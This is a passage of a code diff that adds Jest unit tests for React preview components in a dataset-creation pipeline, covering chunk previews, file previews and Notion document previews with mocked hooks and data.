+const createMockOnlineDriveFile = (overrides?: Partial<OnlineDriveFile>): OnlineDriveFile => ({
+  id: 'drive-file-1',
+  name: 'test-drive-file.docx',
+  size: 2048,
+  type: OnlineDriveFileType.file,
+  ...overrides,
+})
+
+const createMockEstimateData = (overrides?: Partial<FileIndexingEstimateResponse>): FileIndexingEstimateResponse => ({
+  total_nodes: 5,
+  tokens: 1000,
+  total_price: 0.01,
+  currency: 'USD',
+  total_segments: 10,
+  preview: [
+    { content: 'Chunk content 1', child_chunks: ['child 1', 'child 2'] },
+    { content: 'Chunk content 2', child_chunks: ['child 3'] },
+  ],
+  qa_preview: [
+    { question: 'Q1', answer: 'A1' },
+    { question: 'Q2', answer: 'A2' },
+  ],
+  ...overrides,
+})
+
+const defaultProps = {
+  dataSourceType: DatasourceType.localFile,
+  localFiles: [createMockLocalFile()],
+  onlineDocuments: [createMockNotionPage()],
+  websitePages: [createMockCrawlResult()],
+  onlineDriveFiles: [createMockOnlineDriveFile()],
+  isIdle: false,
+  isPending: false,
+  estimateData: undefined,
+  onPreview: jest.fn(),
+  handlePreviewFileChange: jest.fn(),
+  handlePreviewOnlineDocumentChange: jest.fn(),
+  handlePreviewWebsitePageChange: jest.fn(),
+  handlePreviewOnlineDriveFileChange: jest.fn(),
+}
+
+describe('ChunkPreview', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockDocForm.mockReturnValue(ChunkingMode.text)
+  })
+
+  describe('Rendering', () => {
+    it('should render the component with preview container', () => {
+      render(<ChunkPreview {...defaultProps} />)
+
+      // i18n mock returns key by default
+      expect(screen.getByText('datasetCreation.stepTwo.preview')).toBeInTheDocument()
+    })
+
+    it('should render document picker for local files', () => {
+      render(<ChunkPreview {...defaultProps} dataSourceType={DatasourceType.localFile} />)
+
+      expect(screen.getByTestId('document-picker')).toBeInTheDocument()
+    })
+
+    it('should render document picker for online documents', () => {
+      render(<ChunkPreview {...defaultProps} dataSourceType={DatasourceType.onlineDocument} />)
+
+      expect(screen.getByTestId('document-picker')).toBeInTheDocument()
+    })
+
+    it('should render document picker for website pages', () => {
+      render(<ChunkPreview {...defaultProps} dataSourceType={DatasourceType.websiteCrawl} />)
+
+      expect(screen.getByTestId('document-picker')).toBeInTheDocument()
+    })
+
+    it('should render document picker for online drive files', () => {
+      render(<ChunkPreview {...defaultProps} dataSourceType={DatasourceType.onlineDrive} />)
+
+      expect(screen.getByTestId('document-picker')).toBeInTheDocument()
+    })
+
+    it('should render badge with chunk count for non-QA mode', () => {
+      const estimateData = createMockEstimateData({ total_segments: 15 })
+      mockDocForm.mockReturnValue(ChunkingMode.text)
+
+      render(<ChunkPreview {...defaultProps} estimateData={estimateData} />)
+
+      // Badge shows chunk count via i18n key with count option
+      expect(screen.getByText(/previewChunkCount.*15/)).toBeInTheDocument()
+    })
+
+    it('should not render badge for QA mode', () => {
+      mockDocForm.mockReturnValue(ChunkingMode.qa)
+      const estimateData = createMockEstimateData()
+
+      render(<ChunkPreview {...defaultProps} estimateData={estimateData} />)
+
+      // No badge with total_segments
+      expect(screen.queryByText(/10/)).not.toBeInTheDocument()
+    })
+  })
+
+  describe('Idle State', () => {
+    it('should render idle state with preview tip and button', () => {
+      render(<ChunkPreview {...defaultProps} isIdle={true} />)
+
+      // i18n mock returns keys
+      expect(screen.getByText('datasetCreation.stepTwo.previewChunkTip')).toBeInTheDocument()
+      expect(screen.getByText('datasetPipeline.addDocuments.stepTwo.previewChunks')).toBeInTheDocument()
+    })
+
+    it('should call onPreview when preview button is clicked', () => {
+      const onPreview = jest.fn()
+
+      render(<ChunkPreview {...defaultProps} isIdle={true} onPreview={onPreview} />)
+
+      const button = screen.getByRole('button', { name: /previewChunks/i })
+      fireEvent.click(button)
+      expect(onPreview).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  describe('Loading State', () => {
+    it('should render skeleton loading when isPending is true', () => {
+      render(<ChunkPreview {...defaultProps} isPending={true} />)
+
+      // Skeleton loading renders multiple skeleton containers
+      expect(document.querySelector('.space-y-6')).toBeInTheDocument()
+    })
+
+    it('should not render preview content when loading', () => {
+      const estimateData = createMockEstimateData()
+
+      render(<ChunkPreview {...defaultProps} isPending={true} estimateData={estimateData} />)
+
+      expect(screen.queryByText('Chunk content 1')).not.toBeInTheDocument()
+    })
+  })
+
+  describe('QA Mode Preview', () => {
+    it('should render QA preview chunks when doc_form is qa', () => {
+      mockDocForm.mockReturnValue(ChunkingMode.qa)
+      const estimateData = createMockEstimateData({
+        qa_preview: [
+          { question: 'Question 1?', answer: 'Answer 1' },
+          { question: 'Question 2?', answer: 'Answer 2' },
+        ],
+      })
+
+      render(<ChunkPreview {...defaultProps} estimateData={estimateData} />)
+
+      expect(screen.getByText('Question 1?')).toBeInTheDocument()
+      expect(screen.getByText('Answer 1')).toBeInTheDocument()
+      expect(screen.getByText('Question 2?')).toBeInTheDocument()
+      expect(screen.getByText('Answer 2')).toBeInTheDocument()
+    })
+  })
+
+  describe('Text Mode Preview', () => {
+    it('should render text preview chunks when doc_form is text', () => {
+      mockDocForm.mockReturnValue(ChunkingMode.text)
+      const estimateData = createMockEstimateData({
+        preview: [
+          { content: 'Text chunk 1', child_chunks: [] },
+          { content: 'Text chunk 2', child_chunks: [] },
+        ],
+      })
+
+      render(<ChunkPreview {...defaultProps} estimateData={estimateData} />)
+
+      expect(screen.getByText('Text chunk 1')).toBeInTheDocument()
+      expect(screen.getByText('Text chunk 2')).toBeInTheDocument()
+    })
+  })
+
+  describe('Parent-Child Mode Preview', () => {
+    it('should render parent-child preview chunks', () => {
+      mockDocForm.mockReturnValue(ChunkingMode.parentChild)
+      const estimateData = createMockEstimateData({
+        preview: [
+          { content: 'Parent chunk 1', child_chunks: ['Child 1', 'Child 2'] },
+        ],
+      })
+
+      render(<ChunkPreview {...defaultProps} estimateData={estimateData} />)
+
+      expect(screen.getByText('Child 1')).toBeInTheDocument()
+      expect(screen.getByText('Child 2')).toBeInTheDocument()
+    })
+  })
+
+  describe('Document Selection', () => {
+    it('should handle local file selection change', () => {
+      const handlePreviewFileChange = jest.fn()
+      const localFiles = [
+        createMockLocalFile({ id: 'file-1', name: 'file1.pdf' }),
+        createMockLocalFile({ id: 'file-2', name: 'file2.pdf' }),
+      ]
+
+      render(
+        <ChunkPreview
+          {...defaultProps}
+          dataSourceType={DatasourceType.localFile}
+          localFiles={localFiles}
+          handlePreviewFileChange={handlePreviewFileChange}
+        />,
+      )
+
+      const select = screen.getByTestId('picker-select')
+      fireEvent.change(select, { target: { value: 'file-2' } })
+
+      expect(handlePreviewFileChange).toHaveBeenCalled()
+    })
+
+    it('should handle online document selection change', () => {
+      const handlePreviewOnlineDocumentChange = jest.fn()
+      const onlineDocuments = [
+        createMockNotionPage({ page_id: 'page-1', page_name: 'Page 1' }),
+        createMockNotionPage({ page_id: 'page-2', page_name: 'Page 2' }),
+      ]
+
+      render(
+        <ChunkPreview
+          {...defaultProps}
+          dataSourceType={DatasourceType.onlineDocument}
+          onlineDocuments={onlineDocuments}
+          handlePreviewOnlineDocumentChange={handlePreviewOnlineDocumentChange}
+        />,
+      )
+
+      const select = screen.getByTestId('picker-select')
+      fireEvent.change(select, { target: { value: 'page-2' } })
+
+      expect(handlePreviewOnlineDocumentChange).toHaveBeenCalled()
+    })
+
+    it('should handle website page selection change', () => {
+      const handlePreviewWebsitePageChange = jest.fn()
+      const websitePages = [
+        createMockCrawlResult({ source_url: 'https://example1.com', title: 'Site 1' }),
+        createMockCrawlResult({ source_url: 'https://example2.com', title: 'Site 2' }),
+      ]
+
+      render(
+        <ChunkPreview
+          {...defaultProps}
+          dataSourceType={DatasourceType.websiteCrawl}
+          websitePages={websitePages}
+          handlePreviewWebsitePageChange={handlePreviewWebsitePageChange}
+        />,
+      )
+
+      const select = screen.getByTestId('picker-select')
+      fireEvent.change(select, { target: { value: 'https://example2.com' } })
+
+      expect(handlePreviewWebsitePageChange).toHaveBeenCalled()
+    })
+
+    it('should handle online drive file selection change', () => {
+      const handlePreviewOnlineDriveFileChange = jest.fn()
+      const onlineDriveFiles = [
+        createMockOnlineDriveFile({ id: 'drive-1', name: 'file1.docx' }),
+        createMockOnlineDriveFile({ id: 'drive-2', name: 'file2.docx' }),
+      ]
+
+      render(
+        <ChunkPreview
+          {...defaultProps}
+          dataSourceType={DatasourceType.onlineDrive}
+          onlineDriveFiles={onlineDriveFiles}
+          handlePreviewOnlineDriveFileChange={handlePreviewOnlineDriveFileChange}
+        />,
+      )
+
+      const select = screen.getByTestId('picker-select')
+      fireEvent.change(select, { target: { value: 'drive-2' } })
+
+      expect(handlePreviewOnlineDriveFileChange).toHaveBeenCalled()
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle empty estimate data', () => {
+      mockDocForm.mockReturnValue(ChunkingMode.text)
+
+      render(<ChunkPreview {...defaultProps} estimateData={undefined} />)
+
+      expect(screen.queryByText('Chunk content')).not.toBeInTheDocument()
+    })
+
+    it('should handle empty preview array', () => {
+      mockDocForm.mockReturnValue(ChunkingMode.text)
+      const estimateData = createMockEstimateData({ preview: [] })
+
+      render(<ChunkPreview {...defaultProps} estimateData={estimateData} />)
+
+      expect(screen.queryByText('Chunk content')).not.toBeInTheDocument()
+    })
+
+    it('should handle empty qa_preview array', () => {
+      mockDocForm.mockReturnValue(ChunkingMode.qa)
+      const estimateData = createMockEstimateData({ qa_preview: [] })
+
+      render(<ChunkPreview {...defaultProps} estimateData={estimateData} />)
+
+      expect(screen.queryByText('Q1')).not.toBeInTheDocument()
+    })
+
+    it('should handle empty child_chunks in parent-child mode', () => {
+      mockDocForm.mockReturnValue(ChunkingMode.parentChild)
+      const estimateData = createMockEstimateData({
+        preview: [{ content: 'Parent', child_chunks: [] }],
+      })
+
+      render(<ChunkPreview {...defaultProps} estimateData={estimateData} />)
+
+      expect(screen.queryByText('Child')).not.toBeInTheDocument()
+    })
+
+    it('should handle badge showing 0 chunks', () => {
+      mockDocForm.mockReturnValue(ChunkingMode.text)
+      const estimateData = createMockEstimateData({ total_segments: 0 })
+
+      render(<ChunkPreview {...defaultProps} estimateData={estimateData} />)
+
+      // Badge with 0
+      expect(screen.getByText(/0/)).toBeInTheDocument()
+    })
+
+    it('should handle undefined online document properties', () => {
+      const onlineDocuments = [createMockNotionPage({ page_id: '', page_name: '' })]
+
+      render(
+        <ChunkPreview
+          {...defaultProps}
+          dataSourceType={DatasourceType.onlineDocument}
+          onlineDocuments={onlineDocuments}
+        />,
+      )
+
+      expect(screen.getByTestId('document-picker')).toBeInTheDocument()
+    })
+
+    it('should handle undefined website page properties', () => {
+      const websitePages = [createMockCrawlResult({ source_url: '', title: '' })]
+
+      render(
+        <ChunkPreview
+          {...defaultProps}
+          dataSourceType={DatasourceType.websiteCrawl}
+          websitePages={websitePages}
+        />,
+      )
+
+      expect(screen.getByTestId('document-picker')).toBeInTheDocument()
+    })
+
+    it('should handle undefined online drive file properties', () => {
+      const onlineDriveFiles = [createMockOnlineDriveFile({ id: '', name: '' })]
+
+      render(
+        <ChunkPreview
+          {...defaultProps}
+          dataSourceType={DatasourceType.onlineDrive}
+          onlineDriveFiles={onlineDriveFiles}
+        />,
+      )
+
+      expect(screen.getByTestId('document-picker')).toBeInTheDocument()
+    })
+  })
+
+  describe('Component Memoization', () => {
+    it('should be exported as a memoized component', () => {
+      // ChunkPreview is wrapped with React.memo
+      // We verify this by checking the component type
+      expect(typeof ChunkPreview).toBe('object')
+      expect(ChunkPreview.$$typeof?.toString()).toBe('Symbol(react.memo)')
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/preview/file-preview.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/preview/file-preview.spec.tsx
new file mode 100644
index 0000000000..8cb6ac489c
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/preview/file-preview.spec.tsx
@@ -0,0 +1,320 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import React from 'react'
+import FilePreview from './file-preview'
+import type { CustomFile as File } from '@/models/datasets'
+
+// Uses __mocks__/react-i18next.ts automatically
+
+// Mock useFilePreview hook - needs to be mocked to control return values
+const mockUseFilePreview = jest.fn()
+jest.mock('@/service/use-common', () => ({
+  useFilePreview: (fileID: string) => mockUseFilePreview(fileID),
+}))
+
+// Test data factory
+const createMockFile = (overrides?: Partial<File>): File => ({
+  id: 'file-123',
+  name: 'test-document.pdf',
+  size: 2048,
+  type: 'application/pdf',
+  extension: 'pdf',
+  lastModified: Date.now(),
+  webkitRelativePath: '',
+  arrayBuffer: jest.fn() as () => Promise<ArrayBuffer>,
+  bytes: jest.fn() as () => Promise<Uint8Array>,
+  slice: jest.fn() as (start?: number, end?: number, contentType?: string) => Blob,
+  stream: jest.fn() as () => ReadableStream<Uint8Array>,
+  text: jest.fn() as () => Promise<string>,
+  ...overrides,
+} as File)
+
+const createMockFilePreviewData = (content: string = 'This is the file content') => ({
+  content,
+})
+
+const defaultProps = {
+  file: createMockFile(),
+  hidePreview: jest.fn(),
+}
+
+describe('FilePreview', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockUseFilePreview.mockReturnValue({
+      data: undefined,
+      isFetching: false,
+    })
+  })
+
+  describe('Rendering', () => {
+    it('should render the component with file information', () => {
+      render(<FilePreview {...defaultProps} />)
+
+      // i18n mock returns key by default
+      expect(screen.getByText('datasetPipeline.addDocuments.stepOne.preview')).toBeInTheDocument()
+      expect(screen.getByText('test-document.pdf')).toBeInTheDocument()
+    })
+
+    it('should display file extension in uppercase via CSS class', () => {
+      render(<FilePreview {...defaultProps} />)
+
+      // The extension is displayed in the info section (as uppercase via CSS class)
+      const extensionElement = screen.getByText('pdf')
+      expect(extensionElement).toBeInTheDocument()
+      expect(extensionElement).toHaveClass('uppercase')
+    })
+
+    it('should display formatted file size', () => {
+      render(<FilePreview {...defaultProps} />)
+
+      // Real formatFileSize: 2048 bytes => "2.00 KB"
+      expect(screen.getByText('2.00 KB')).toBeInTheDocument()
+    })
+
+    it('should render close button', () => {
+      render(<FilePreview {...defaultProps} />)
+
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should call useFilePreview with correct fileID', () => {
+      const file = createMockFile({ id: 'specific-file-id' })
+
+      render(<FilePreview {...defaultProps} file={file} />)
+
+      expect(mockUseFilePreview).toHaveBeenCalledWith('specific-file-id')
+    })
+  })
+
+  describe('File Name Processing', () => {
+    it('should extract file name without extension', () => {
+      const file = createMockFile({ name: 'my-document.pdf', extension: 'pdf' })
+
+      render(<FilePreview {...defaultProps} file={file} />)
+
+      // The displayed text is `${fileName}.${extension}`, where fileName is name without ext
+      // my-document.pdf -> fileName = 'my-document', displayed as 'my-document.pdf'
+      expect(screen.getByText('my-document.pdf')).toBeInTheDocument()
+    })
+
+    it('should handle file name with multiple dots', () => {
+      const file = createMockFile({ name: 'my.file.name.pdf', extension: 'pdf' })
+
+      render(<FilePreview {...defaultProps} file={file} />)
+
+      // fileName = arr.slice(0, -1).join() = 'my,file,name', then displayed as 'my,file,name.pdf'
+      expect(screen.getByText('my,file,name.pdf')).toBeInTheDocument()
+    })
+
+    it('should handle empty file name', () => {
+      const file = createMockFile({ name: '', extension: '' })
+
+      render(<FilePreview {...defaultProps} file={file} />)
+
+      // fileName = '', displayed as '.'
+      expect(screen.getByText('.')).toBeInTheDocument()
+    })
+
+    it('should handle file without extension in name', () => {
+      const file = createMockFile({ name: 'noextension', extension: '' })
+
+      render(<FilePreview {...defaultProps} file={file} />)
+
+      // fileName = '' (slice returns empty for single element array), displayed as '.'
+      expect(screen.getByText('.')).toBeInTheDocument()
+    })
+  })
+
+  describe('Loading State', () => {
+    it('should render loading component when fetching', () => {
+      mockUseFilePreview.mockReturnValue({
+        data: undefined,
+        isFetching: true,
+      })
+
+      render(<FilePreview {...defaultProps} />)
+
+      // Loading component renders skeleton
+      expect(document.querySelector('.overflow-hidden')).toBeInTheDocument()
+    })
+
+    it('should not render content when loading', () => {
+      mockUseFilePreview.mockReturnValue({
+        data: createMockFilePreviewData('Some content'),
+        isFetching: true,
+      })
+
+      render(<FilePreview {...defaultProps} />)
+
+      expect(screen.queryByText('Some content')).not.toBeInTheDocument()
+    })
+  })
+
+  describe('Content Display', () => {
+    it('should render file content when loaded', () => {
+      mockUseFilePreview.mockReturnValue({
+        data: createMockFilePreviewData('This is the file content'),
+        isFetching: false,
+      })
+
+      render(<FilePreview {...defaultProps} />)
+
+      expect(screen.getByText('This is the file content')).toBeInTheDocument()
+    })
+
+    it('should display character count when data is available', () => {
+      mockUseFilePreview.mockReturnValue({
+        data: createMockFilePreviewData('Hello'), // 5 characters
+        isFetching: false,
+      })
+
+      render(<FilePreview {...defaultProps} />)
+
+      // Real formatNumberAbbreviated returns "5" for numbers < 1000
+      expect(screen.getByText(/5/)).toBeInTheDocument()
+    })
+
+    it('should format large character counts', () => {
+      const longContent = 'a'.repeat(2500)
+      mockUseFilePreview.mockReturnValue({
+        data: createMockFilePreviewData(longContent),
+        isFetching: false,
+      })
+
+      render(<FilePreview {...defaultProps} />)
+
+      // Real formatNumberAbbreviated uses lowercase 'k': "2.5k"
+      expect(screen.getByText(/2\.5k/)).toBeInTheDocument()
+    })
+
+    it('should not display character count when data is not available', () => {
+      mockUseFilePreview.mockReturnValue({
+        data: undefined,
+        isFetching: false,
+      })
+
+      render(<FilePreview {...defaultProps} />)
+
+      // No character text shown
+      expect(screen.queryByText(/datasetPipeline\.addDocuments\.characters/)).not.toBeInTheDocument()
+    })
+  })
+
+  describe('User Interactions', () => {
+    it('should call hidePreview when close button is clicked', () => {
+      const hidePreview = jest.fn()
+
+      render(<FilePreview {...defaultProps} hidePreview={hidePreview} />)
+
+      const closeButton = screen.getByRole('button')
+      fireEvent.click(closeButton)
+
+      expect(hidePreview).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  describe('File Size Formatting', () => {
+    it('should format small file sizes in bytes', () => {
+      const file = createMockFile({ size: 500 })
+
+      render(<FilePreview {...defaultProps} file={file} />)
+
+      // Real formatFileSize: 500 => "500.00 bytes"
+      expect(screen.getByText('500.00 bytes')).toBeInTheDocument()
+    })
+
+    it('should format kilobyte file sizes', () => {
+      const file = createMockFile({ size: 5120 })
+
+      render(<FilePreview {...defaultProps} file={file} />)
+
+      // Real formatFileSize: 5120 => "5.00 KB"
+      expect(screen.getByText('5.00 KB')).toBeInTheDocument()
+    })
+
+    it('should format megabyte file sizes', () => {
+      const file = createMockFile({ size: 2097152 })
+
+      render(<FilePreview {...defaultProps} file={file} />)
+
+      // Real formatFileSize: 2097152 => "2.00 MB"
+      expect(screen.getByText('2.00 MB')).toBeInTheDocument()
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle undefined file id', () => {
+      const file = createMockFile({ id: undefined })
+
+      render(<FilePreview {...defaultProps} file={file} />)
+
+      expect(mockUseFilePreview).toHaveBeenCalledWith('')
+    })
+
+    it('should handle empty extension', () => {
+      const file = createMockFile({ extension: undefined })
+
+      render(<FilePreview {...defaultProps} file={file} />)
+
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should handle zero file size', () => {
+      const file = createMockFile({ size: 0 })
+
+      render(<FilePreview {...defaultProps} file={file} />)
+
+      // Real formatFileSize returns 0 for falsy values
+      // The component still renders
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should handle very long file content', () => {
+      const veryLongContent = 'a'.repeat(1000000)
+      mockUseFilePreview.mockReturnValue({
+        data: createMockFilePreviewData(veryLongContent),
+        isFetching: false,
+      })
+
+      render(<FilePreview {...defaultProps} />)
+
+      // Real formatNumberAbbreviated: 1000000 => "1M"
+      expect(screen.getByText(/1M/)).toBeInTheDocument()
+    })
+
+    it('should handle empty content', () => {
+      mockUseFilePreview.mockReturnValue({
+        data: createMockFilePreviewData(''),
+        isFetching: false,
+      })
+
+      render(<FilePreview {...defaultProps} />)
+
+      // Real formatNumberAbbreviated: 0 => "0"
+      // Find the element that contains character count info
+      expect(screen.getByText(/0 datasetPipeline/)).toBeInTheDocument()
+    })
+  })
+
+  describe('useMemo for fileName', () => {
+    it('should extract file name when file exists', () => {
+      // When file exists, it should extract the name without extension
+      const file = createMockFile({ name: 'document.txt', extension: 'txt' })
+
+      render(<FilePreview {...defaultProps} file={file} />)
+
+      expect(screen.getByText('document.txt')).toBeInTheDocument()
+    })
+
+    it('should memoize fileName based on file prop', () => {
+      const file = createMockFile({ name: 'test.pdf', extension: 'pdf' })
+
+      const { rerender } = render(<FilePreview {...defaultProps} file={file} />)
+
+      // Same file should produce same result
+      rerender(<FilePreview {...defaultProps} file={file} />)
+
+      expect(screen.getByText('test.pdf')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/preview/online-document-preview.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/preview/online-document-preview.spec.tsx
new file mode 100644
index 0000000000..652d6d573f
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/preview/online-document-preview.spec.tsx
@@ -0,0 +1,359 @@
+import { render, screen, waitFor } from '@testing-library/react'
+import { fireEvent } from '@testing-library/react'
+import React from 'react'
+import OnlineDocumentPreview from './online-document-preview'
+import type { NotionPage } from '@/models/common'
+import Toast from '@/app/components/base/toast'
+
+// Uses __mocks__/react-i18next.ts automatically
+
+// Spy on Toast.notify
+const toastNotifySpy = jest.spyOn(Toast, 'notify')
+
+// Mock dataset-detail context - needs mock to control return values
+const mockPipelineId = jest.fn()
+jest.mock('@/context/dataset-detail', () => ({
+  useDatasetDetailContextWithSelector: (_selector: (s: { dataset: { pipeline_id: string } }) => string) => {
+    return mockPipelineId()
+  },
+}))
+
+// Mock usePreviewOnlineDocument hook - needs mock to control mutation behavior
+const mockMutateAsync = jest.fn()
+const mockUsePreviewOnlineDocument = jest.fn()
+jest.mock('@/service/use-pipeline', () => ({
+  usePreviewOnlineDocument: () => mockUsePreviewOnlineDocument(),
+}))
+
+// Mock data source store - needs mock to control store state
+const mockCurrentCredentialId = 'credential-123'
+const mockGetState = jest.fn(() => ({
+  currentCredentialId: mockCurrentCredentialId,
+}))
+jest.mock('../data-source/store', () => ({
+  useDataSourceStore: () => ({
+    getState: mockGetState,
+  }),
+}))
+
+// Test data factory
+const createMockNotionPage = (overrides?: Partial<NotionPage>): NotionPage => ({
+  page_id: 'page-123',
+  page_name: 'Test Notion Page',
+  workspace_id: 'workspace-456',
+  type: 'page',
+  page_icon: null,
+  parent_id: 'parent-789',
+  is_bound: true,
+  ...overrides,
+})
+
+const defaultProps = {
+  currentPage: createMockNotionPage(),
+  datasourceNodeId: 'datasource-node-123',
+  hidePreview: jest.fn(),
+}
+
+describe('OnlineDocumentPreview', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockPipelineId.mockReturnValue('pipeline-123')
+    mockUsePreviewOnlineDocument.mockReturnValue({
+      mutateAsync: mockMutateAsync,
+      isPending: false,
+    })
+    mockMutateAsync.mockImplementation((params, callbacks) => {
+      callbacks.onSuccess({ content: 'Test content' })
+      return Promise.resolve({ content: 'Test content' })
+    })
+  })
+
+  describe('Rendering', () => {
+    it('should render the component with page information', () => {
+      render(<OnlineDocumentPreview {...defaultProps} />)
+
+      // i18n mock returns key by default
+      expect(screen.getByText('datasetPipeline.addDocuments.stepOne.preview')).toBeInTheDocument()
+      expect(screen.getByText('Test Notion Page')).toBeInTheDocument()
+    })
+
+    it('should display page type', () => {
+      const currentPage = createMockNotionPage({ type: 'database' })
+
+      render(<OnlineDocumentPreview {...defaultProps} currentPage={currentPage} />)
+
+      expect(screen.getByText('database')).toBeInTheDocument()
+    })
+
+    it('should render close button', () => {
+      render(<OnlineDocumentPreview {...defaultProps} />)
+
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+  })
+
+  describe('Data Fetching', () => {
+    it('should call mutateAsync with correct parameters on mount', async () => {
+      const currentPage = createMockNotionPage({
+        workspace_id: 'ws-123',
+        page_id: 'pg-456',
+        type: 'page',
+      })
+
+      render(
+        <OnlineDocumentPreview
+          {...defaultProps}
+          currentPage={currentPage}
+          datasourceNodeId="node-789"
+        />,
+      )
+
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalledWith(
+          {
+            workspaceID: 'ws-123',
+            pageID: 'pg-456',
+            pageType: 'page',
+            pipelineId: 'pipeline-123',
+            datasourceNodeId: 'node-789',
+            credentialId: mockCurrentCredentialId,
+          },
+          expect.objectContaining({
+            onSuccess: expect.any(Function),
+            onError: expect.any(Function),
+          }),
+        )
+      })
+    })
+
+    it('should fetch data again when page_id changes', async () => {
+      const currentPage1 = createMockNotionPage({ page_id: 'page-1' })
+      const currentPage2 = createMockNotionPage({ page_id: 'page-2' })
+
+      const { rerender } = render(
+        <OnlineDocumentPreview {...defaultProps} currentPage={currentPage1} />,
+      )
+
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalledTimes(1)
+      })
+
+      rerender(<OnlineDocumentPreview {...defaultProps} currentPage={currentPage2} />)
+
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalledTimes(2)
+      })
+    })
+
+    it('should handle empty pipelineId', async () => {
+      mockPipelineId.mockReturnValue(undefined)
+
+      render(<OnlineDocumentPreview {...defaultProps} />)
+
+      await waitFor(() => {
+        expect(mockMutateAsync).toHaveBeenCalledWith(
+          expect.objectContaining({
+            pipelineId: '',
+          }),
+          expect.anything(),
+        )
+      })
+    })
+  })
+
+  describe('Loading State', () => {
+    it('should render loading component when isPending is true', () => {
+      mockUsePreviewOnlineDocument.mockReturnValue({
+        mutateAsync: mockMutateAsync,
+        isPending: true,
+      })
+
+      render(<OnlineDocumentPreview {...defaultProps} />)
+
+      // Loading component renders skeleton
+      expect(document.querySelector('.overflow-hidden')).toBeInTheDocument()
+    })
+
+    it('should not render markdown content when loading', () => {
+      mockUsePreviewOnlineDocument.mockReturnValue({
+        mutateAsync: mockMutateAsync,
+        isPending: true,
+      })
+
+      render(<OnlineDocumentPreview {...defaultProps} />)
+
+      // Content area should not be present
+      expect(screen.queryByText('Test content')).not.toBeInTheDocument()
+    })
+  })
+
+  describe('Content Display', () => {
+    it('should render markdown content when loaded', async () => {
+      mockMutateAsync.mockImplementation((params, callbacks) => {
+        callbacks.onSuccess({ content: 'Markdown content here' })
+        return Promise.resolve({ content: 'Markdown content here' })
+      })
+
+      render(<OnlineDocumentPreview {...defaultProps} />)
+
+      await waitFor(() => {
+        // Markdown component renders the content
+        const contentArea = document.querySelector('.overflow-hidden.px-6.py-5')
+        expect(contentArea).toBeInTheDocument()
+      })
+    })
+
+    it('should display character count', async () => {
+      mockMutateAsync.mockImplementation((params, callbacks) => {
+        callbacks.onSuccess({ content: 'Hello' }) // 5 characters
+        return Promise.resolve({ content: 'Hello' })
+      })
+
+      render(<OnlineDocumentPreview {...defaultProps} />)
+
+      await waitFor(() => {
+        // Real formatNumberAbbreviated returns "5" for numbers < 1000
+        expect(screen.getByText(/5/)).toBeInTheDocument()
+      })
+    })
+
+    it('should format large character counts', async () => {
+      const longContent = 'a'.repeat(2500)
+      mockMutateAsync.mockImplementation((params, callbacks) => {
+        callbacks.onSuccess({ content: longContent })
+        return Promise.resolve({ content: longContent })
+      })
+
+      render(<OnlineDocumentPreview {...defaultProps} />)
+
+      await waitFor(() => {
+        // Real formatNumberAbbreviated uses lowercase 'k': "2.5k"
+        expect(screen.getByText(/2\.5k/)).toBeInTheDocument()
+      })
+    })
+
+    it('should show character count based on fetched content', async () => {
+      // When content is set via onSuccess, character count is displayed
+      mockMutateAsync.mockImplementation((params, callbacks) => {
+        callbacks.onSuccess({ content: 'Test content' }) // 12 characters
+        return Promise.resolve({ content: 'Test content' })
+      })
+
+      render(<OnlineDocumentPreview {...defaultProps} />)
+
+      await waitFor(() => {
+        expect(screen.getByText(/12/)).toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Error Handling', () => {
+    it('should show toast notification on error', async () => {
+      const errorMessage = 'Failed to fetch document'
+      mockMutateAsync.mockImplementation((params, callbacks) => {
+        callbacks.onError(new Error(errorMessage))
+        // Return a resolved promise to avoid unhandled rejection
+        return Promise.resolve()
+      })
+
+      render(<OnlineDocumentPreview {...defaultProps} />)
+
+      await waitFor(() => {
+        expect(toastNotifySpy).toHaveBeenCalledWith({
+          type: 'error',
+          message: errorMessage,
+        })
+      })
+    })
+
+    it('should handle network errors', async () => {
+      const networkError = new Error('Network Error')
+      mockMutateAsync.mockImplementation((params, callbacks) => {
+        callbacks.onError(networkError)
+        // Return a resolved promise to avoid unhandled rejection
+        return Promise.resolve()
+      })
+
+      render(<OnlineDocumentPreview {...defaultProps} />)
+
+      await waitFor(() => {
+        expect(toastNotifySpy).toHaveBeenCalledWith({
+          type: 'error',
+          message: 'Network Error',
+        })
+      })
+    })
+  })
+
+  describe('User Interactions', () => {
+    it('should call hidePreview when close button is clicked', () => {
+      const hidePreview = jest.fn()
+
+      render(<OnlineDocumentPreview {...defaultProps} hidePreview={hidePreview} />)
+
+      // Find the close button in the header area (not toast buttons)
+      const headerArea = document.querySelector('.flex.gap-x-2.border-b')
+      const closeButton = headerArea?.querySelector('button')
+      expect(closeButton).toBeInTheDocument()
+      fireEvent.click(closeButton!)
+
+      expect(hidePreview).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle undefined page_name', () => {
+      const currentPage = createMockNotionPage({ page_name: '' })
+
+      render(<OnlineDocumentPreview {...defaultProps} currentPage={currentPage} />)
+
+      // Find the close button in the header area
+      const headerArea = document.querySelector('.flex.gap-x-2.border-b')
+      const closeButton = headerArea?.querySelector('button')
+      expect(closeButton).toBeInTheDocument()
+    })
+
